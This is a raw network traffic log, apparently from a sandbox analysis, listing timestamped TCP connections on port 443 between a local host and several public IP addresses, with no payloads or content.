Apr 17, 2024 01:42:45.402534008 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.402645111 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.402652025 CEST	49736	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:45.402678967 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.402832985 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.402904987 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.402935982 CEST	49736	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:45.402940989 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.402967930 CEST	49736	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:45.402980089 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.403018951 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.403044939 CEST	49736	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:45.403048992 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.403059006 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.403120995 CEST	49736	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:45.403126955 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.403196096 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.403218985 CEST	49736	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:45.403224945 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.403825998 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.403857946 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.403883934 CEST	49736	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:45.403888941 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.403913021 CEST	49736	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:45.403961897 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.404351950 CEST	49736	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:45.410623074 CEST	49736	443	192.168.2.4	104.18.3.35
Apr 17, 2024 01:42:45.410635948 CEST	443	49736	104.18.3.35	192.168.2.4
Apr 17, 2024 01:42:45.537035942 CEST	443	49748	74.125.136.106	192.168.2.4
Apr 17, 2024 01:42:45.542638063 CEST	49748	443	192.168.2.4	74.125.136.106
Apr 17, 2024 01:42:45.542649984 CEST	443	49748	74.125.136.106	192.168.2.4
Apr 17, 2024 01:42:45.544183016 CEST	443	49748	74.125.136.106	192.168.2.4
Apr 17, 2024 01:42:45.544650078 CEST	49748	443	192.168.2.4	74.125.136.106
Apr 17, 2024 01:42:45.546629906 CEST	49748	443	192.168.2.4	74.125.136.106
Apr 17, 2024 01:42:45.546711922 CEST	443	49748	74.125.136.106	192.168.2.4
Apr 17, 2024 01:42:45.549395084 CEST	49753	443	192.168.2.4	23.36.68.63
Apr 17, 2024 01:42:45.549482107 CEST	443	49753	23.36.68.63	192.168.2.4
Apr 17, 2024 01:42:45.554725885 CEST	49753	443	192.168.2.4	23.36.68.63
Apr 17, 2024 01:42:45.556871891 CEST	49753	443	192.168.2.4	23.36.68.63
Apr 17, 2024 01:42:45.556906939 CEST	443	49753	23.36.68.63	192.168.2.4
Apr 17, 2024 01:42:45.595052004 CEST	49748	443	192.168.2.4	74.125.136.106
Apr 17, 2024 01:42:45.595061064 CEST	443	49748	74.125.136.106	192.168.2.4
Apr 17, 2024 01:42:45.638864994 CEST	49748	443	192.168.2.4	74.125.136.106
Apr 17, 2024 01:42:45.643033028 CEST	443	49749	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.643353939 CEST	49749	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.643362045 CEST	443	49749	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.644233942 CEST	443	49749	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.644845963 CEST	49749	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.644845963 CEST	49749	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.644845963 CEST	49749	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.644896984 CEST	443	49749	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.651371002 CEST	443	49750	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.652239084 CEST	49750	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.652268887 CEST	443	49750	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.652997971 CEST	443	49751	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.653353930 CEST	443	49752	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.653712988 CEST	49752	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.653778076 CEST	443	49752	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.655216932 CEST	443	49752	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.655311108 CEST	443	49750	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.655342102 CEST	49752	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.655433893 CEST	49750	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.656991959 CEST	49750	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.657068014 CEST	443	49750	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.657109976 CEST	49751	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.657165051 CEST	443	49751	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.657529116 CEST	49752	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.657618046 CEST	443	49752	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.657769918 CEST	49752	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.657772064 CEST	49750	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.657779932 CEST	443	49750	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.658726931 CEST	443	49751	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.659121037 CEST	49751	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.659121037 CEST	49751	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.659219980 CEST	443	49751	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.659255981 CEST	49751	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.700769901 CEST	49749	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.700773001 CEST	49752	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.700788021 CEST	443	49749	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.700802088 CEST	443	49752	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.700891972 CEST	49751	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.700903893 CEST	49750	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.700953007 CEST	443	49751	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.747415066 CEST	49749	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.747416019 CEST	49751	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.747772932 CEST	49752	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.777945042 CEST	443	49753	23.36.68.63	192.168.2.4
Apr 17, 2024 01:42:45.778053999 CEST	49753	443	192.168.2.4	23.36.68.63
Apr 17, 2024 01:42:45.782633066 CEST	49753	443	192.168.2.4	23.36.68.63
Apr 17, 2024 01:42:45.782661915 CEST	443	49753	23.36.68.63	192.168.2.4
Apr 17, 2024 01:42:45.783200026 CEST	443	49753	23.36.68.63	192.168.2.4
Apr 17, 2024 01:42:45.826841116 CEST	49753	443	192.168.2.4	23.36.68.63
Apr 17, 2024 01:42:45.853334904 CEST	443	49749	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.853420019 CEST	443	49749	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.854064941 CEST	49749	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.863581896 CEST	443	49752	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.863694906 CEST	443	49752	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.863905907 CEST	49752	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.874104977 CEST	49749	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.874128103 CEST	443	49749	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.874923944 CEST	49752	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.874963045 CEST	443	49752	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.953833103 CEST	443	49751	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.954047918 CEST	443	49751	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:45.954102993 CEST	49751	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.979289055 CEST	49753	443	192.168.2.4	23.36.68.63
Apr 17, 2024 01:42:45.987441063 CEST	49751	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:45.987463951 CEST	443	49751	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:46.024120092 CEST	443	49753	23.36.68.63	192.168.2.4
Apr 17, 2024 01:42:46.085042953 CEST	443	49753	23.36.68.63	192.168.2.4
Apr 17, 2024 01:42:46.085200071 CEST	443	49753	23.36.68.63	192.168.2.4
Apr 17, 2024 01:42:46.085275888 CEST	49753	443	192.168.2.4	23.36.68.63
Apr 17, 2024 01:42:46.086466074 CEST	49753	443	192.168.2.4	23.36.68.63
Apr 17, 2024 01:42:46.086507082 CEST	443	49753	23.36.68.63	192.168.2.4
Apr 17, 2024 01:42:46.086548090 CEST	49753	443	192.168.2.4	23.36.68.63
Apr 17, 2024 01:42:46.086564064 CEST	443	49753	23.36.68.63	192.168.2.4
Apr 17, 2024 01:42:46.145457983 CEST	49754	443	192.168.2.4	23.36.68.63
Apr 17, 2024 01:42:46.145489931 CEST	443	49754	23.36.68.63	192.168.2.4
Apr 17, 2024 01:42:46.145546913 CEST	49754	443	192.168.2.4	23.36.68.63
Apr 17, 2024 01:42:46.146867990 CEST	49754	443	192.168.2.4	23.36.68.63
Apr 17, 2024 01:42:46.146883965 CEST	443	49754	23.36.68.63	192.168.2.4
Apr 17, 2024 01:42:46.196909904 CEST	443	49750	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:46.196983099 CEST	443	49750	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:46.197030067 CEST	49750	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:46.197062016 CEST	443	49750	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:46.197113037 CEST	443	49750	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:46.197154045 CEST	49750	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:46.197830915 CEST	49750	443	192.168.2.4	13.107.246.36
Apr 17, 2024 01:42:46.197848082 CEST	443	49750	13.107.246.36	192.168.2.4
Apr 17, 2024 01:42:46.361526012 CEST	443	49754	23.36.68.63	192.168.2.4
Apr 17, 2024 01:42:46.361596107 CEST	49754	443	192.168.2.4	23.36.68.63
Apr 17, 2024 01:42:46.363200903 CEST	49754	443	192.168.2.4	23.36.68.63
Apr 17, 2024 01:42:46.363210917 CEST	443	49754	23.36.68.63	192.168.2.4
Apr 17, 2024 01:42:46.363606930 CEST	443	49754	23.36.68.63	192.168.2.4
Apr 17, 2024 01:42:46.365196943 CEST	49754	443	192.168.2.4	23.36.68.63
Apr 17, 2024 01:42:46.408117056 CEST	443	49754	23.36.68.63	192.168.2.4
Apr 17, 2024 01:42:46.568917036 CEST	443	49754	23.36.68.63	192.168.2.4
Apr 17, 2024 01:42:46.569073915 CEST	443	49754	23.36.68.63	192.168.2.4
Apr 17, 2024 01:42:46.569123030 CEST	49754	443	192.168.2.4	23.36.68.63
Apr 17, 2024 01:42:46.587441921 CEST	49754	443	192.168.2.4	23.36.68.63
Apr 17, 2024 01:42:46.587465048 CEST	443	49754	23.36.68.63	192.168.2.4
Apr 17, 2024 01:42:55.283793926 CEST	49672	443	192.168.2.4	173.222.162.32
Apr 17, 2024 01:42:55.283862114 CEST	443	49672	173.222.162.32	192.168.2.4
Apr 17, 2024 01:42:55.559724092 CEST	443	49748	74.125.136.106	192.168.2.4
Apr 17, 2024 01:42:55.559803009 CEST	443	49748	74.125.136.106	192.168.2.4
Apr 17, 2024 01:42:55.559834957 CEST	49748	443	192.168.2.4	74.125.136.106
Apr 17, 2024 01:42:57.125741959 CEST	49748	443	192.168.2.4	74.125.136.106
Apr 17, 2024 01:42:57.125760078 CEST	443	49748	74.125.136.106	192.168.2.4
Apr 17, 2024 01:43:00.014214039 CEST	49767	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.014251947 CEST	443	49767	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.014379025 CEST	49767	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.018161058 CEST	49767	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.018182993 CEST	443	49767	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.133975983 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.134069920 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.134155989 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.134401083 CEST	49769	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.134480000 CEST	443	49769	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.134572983 CEST	49769	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.134748936 CEST	49770	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.134787083 CEST	443	49770	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.134996891 CEST	49770	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.135003090 CEST	49771	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.135051012 CEST	443	49771	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.135107994 CEST	49771	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.135294914 CEST	49772	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.135324955 CEST	443	49772	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.135371923 CEST	49772	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.135708094 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.135740995 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.135996103 CEST	49769	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.136040926 CEST	443	49769	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.136236906 CEST	49771	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.136269093 CEST	443	49771	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.136451960 CEST	49770	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.136493921 CEST	443	49770	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.136609077 CEST	49772	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.136619091 CEST	443	49772	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.341751099 CEST	443	49767	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.342020035 CEST	49767	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.342032909 CEST	443	49767	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.342895031 CEST	443	49767	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.342964888 CEST	49767	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.343920946 CEST	49767	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.343971968 CEST	443	49767	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.344146967 CEST	49767	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.344152927 CEST	443	49767	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.392570019 CEST	49767	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.452734947 CEST	443	49769	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.453202963 CEST	443	49772	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.454835892 CEST	49772	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.454848051 CEST	443	49772	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.455028057 CEST	49769	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.455043077 CEST	443	49769	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.455739975 CEST	443	49772	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.455812931 CEST	49772	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.456011057 CEST	443	49769	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.456063986 CEST	49769	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.456201077 CEST	49772	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.456269979 CEST	443	49772	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.456675053 CEST	49769	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.456746101 CEST	443	49769	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.456805944 CEST	49772	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.456809998 CEST	443	49772	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.456856966 CEST	49769	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.456873894 CEST	443	49769	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.458606005 CEST	443	49771	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.459666014 CEST	443	49770	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.461113930 CEST	49770	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.461142063 CEST	443	49770	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.461275101 CEST	49771	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.461323023 CEST	443	49771	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.464404106 CEST	443	49770	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.464457035 CEST	443	49771	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.464462996 CEST	49770	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.464512110 CEST	49771	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.464776039 CEST	49770	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.464864969 CEST	443	49770	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.465059996 CEST	49771	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.465145111 CEST	443	49771	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.465197086 CEST	49770	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.465214968 CEST	443	49770	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.465220928 CEST	49771	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.465235949 CEST	443	49771	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.498758078 CEST	49769	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.498806000 CEST	49772	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.510025978 CEST	49770	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.513767004 CEST	49771	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.651380062 CEST	443	49767	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.651401043 CEST	443	49767	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.651407957 CEST	443	49767	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.651462078 CEST	49767	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.651474953 CEST	443	49767	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.651483059 CEST	443	49767	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.651519060 CEST	49767	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.651541948 CEST	443	49767	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.651613951 CEST	49767	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.652904987 CEST	49767	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.652916908 CEST	443	49767	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.663925886 CEST	443	49769	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.663943052 CEST	443	49769	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.663996935 CEST	443	49769	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.664001942 CEST	49769	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.664033890 CEST	49769	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.665074110 CEST	49769	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.665098906 CEST	443	49769	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.666265965 CEST	443	49771	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.666321993 CEST	443	49771	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.666356087 CEST	443	49771	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.666384935 CEST	49771	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.666410923 CEST	443	49771	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.666464090 CEST	49771	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.666500092 CEST	443	49771	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.666608095 CEST	49771	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.668241978 CEST	49771	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.668267012 CEST	443	49771	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.676165104 CEST	443	49772	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.676399946 CEST	443	49772	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.676438093 CEST	49772	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.676445961 CEST	443	49772	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.676461935 CEST	443	49772	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.676496983 CEST	49772	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.677025080 CEST	49772	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.677033901 CEST	443	49772	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.773336887 CEST	443	49770	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.773386955 CEST	443	49770	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.773406029 CEST	443	49770	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.773442984 CEST	443	49770	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.773457050 CEST	49770	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.773521900 CEST	443	49770	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.773550987 CEST	443	49770	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.773576975 CEST	443	49770	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.773582935 CEST	49770	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.773582935 CEST	49770	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.773582935 CEST	49770	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.773621082 CEST	443	49770	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.773622036 CEST	49770	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.773622036 CEST	49770	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.773649931 CEST	443	49770	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.773667097 CEST	49770	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.773689032 CEST	49770	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.773773909 CEST	443	49770	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.773825884 CEST	49770	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.775017977 CEST	49770	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.775048018 CEST	443	49770	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.786079884 CEST	49773	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:00.786119938 CEST	443	49773	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:00.786197901 CEST	49773	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:00.786366940 CEST	49773	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:00.786385059 CEST	443	49773	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:00.795958996 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.796171904 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.796227932 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.797101974 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.797166109 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.797429085 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.797488928 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.797523022 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.842835903 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:00.842875004 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:00.890892029 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.111439943 CEST	443	49773	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:01.111716032 CEST	49773	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:01.111745119 CEST	443	49773	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:01.113553047 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.113610029 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.113630056 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.113667965 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.113687038 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.113703966 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.113713980 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.113756895 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.113790989 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.113790989 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.113895893 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.113933086 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.113943100 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.113969088 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.113979101 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.113985062 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.113997936 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.114334106 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.114975929 CEST	443	49773	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:01.115431070 CEST	49773	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:01.115431070 CEST	49773	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:01.115528107 CEST	443	49773	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:01.115967989 CEST	49773	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:01.158634901 CEST	49773	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:01.158663034 CEST	443	49773	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:01.203954935 CEST	49773	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:01.217631102 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.217689991 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.217735052 CEST	49768	443	192.168.2.4	13.107.213.41
